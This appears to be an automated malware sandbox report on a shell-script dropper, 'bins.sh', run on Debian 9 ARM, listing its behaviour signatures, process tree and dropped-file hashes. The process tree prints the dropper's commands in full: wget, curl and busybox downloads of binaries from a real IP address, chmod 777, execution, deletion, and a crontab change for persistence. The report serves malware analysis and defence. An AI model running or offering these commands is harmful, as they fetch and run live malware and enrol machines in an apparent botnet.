Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

9

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/11/2024, 02:12

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241124-cmtwkaymht
  • SHA256 153cce658fb6ea541854485d0ffbd495ee25c697afb84aabd9ff0fe0fd2cf7f8
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1870) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://216.126.231.240/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Writes file to tmp directory
          PID:678
        • /bin/chmod
          chmod 777 mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • File and Directory Permissions Modification
          PID:680
        • /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          ./mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Executes dropped EXE
          PID:681
        • /bin/rm
          rm mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://216.126.231.240/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:686
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Writes file to tmp directory
            PID:690
          • /bin/chmod
            chmod 777 BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • File and Directory Permissions Modification
            PID:694
          • /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            ./BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Executes dropped EXE
            PID:695
          • /bin/rm
            rm BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
              PID:698
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • Writes file to tmp directory
              PID:700
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:706
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • Writes file to tmp directory
              PID:712
            • /bin/chmod
              chmod 777 ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • File and Directory Permissions Modification
              PID:715
            • /tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              ./ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • Executes dropped EXE
              PID:718
            • /bin/rm
              rm ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
                PID:721
              • /usr/bin/wget
                wget http://216.126.231.240/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • Writes file to tmp directory
                PID:723
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:730
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • Writes file to tmp directory
                PID:745
              • /bin/chmod
                chmod 777 yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • File and Directory Permissions Modification
                PID:748
              • /tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                ./yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • Executes dropped EXE
                PID:749
              • /bin/rm
                rm yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                  PID:751
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • Writes file to tmp directory
                  PID:752
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:756
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • Writes file to tmp directory
                  PID:766
                • /bin/chmod
                  chmod 777 fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • File and Directory Permissions Modification
                  PID:772
                • /tmp/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  ./fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • Executes dropped EXE
                  PID:773
                • /bin/rm
                  rm fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                    PID:776
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • Writes file to tmp directory
                    PID:777
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:786
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • Writes file to tmp directory
                    PID:793
                  • /bin/chmod
                    chmod 777 JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • File and Directory Permissions Modification
                    PID:794
                  • /tmp/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    ./JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:795
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:797
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:798
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:799
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:800
                      • /bin/rm
                        rm JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                        2⤵
                          PID:802
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                          2⤵
                            PID:805

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
                              • Path /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
                              • Size 111KB
                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
                              • Path /tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                              • Path /tmp/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                              • Size 119KB
                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                              • Path /tmp/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
                              • Path /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
                              • Size 151KB
                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                              • Path /tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                              • Size 117KB
                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.ZMMdDJ
                              • Path /var/spool/cron/crontabs/tmp.ZMMdDJ
                              • Size 210B
                              • SHA256 4b924477a3eaaba317c0d06f2ceaa4b8c3a4dc2877e9611ca1c84373c7ece4e5
                              • MD5 SHA1 SHA512
                              Submit Download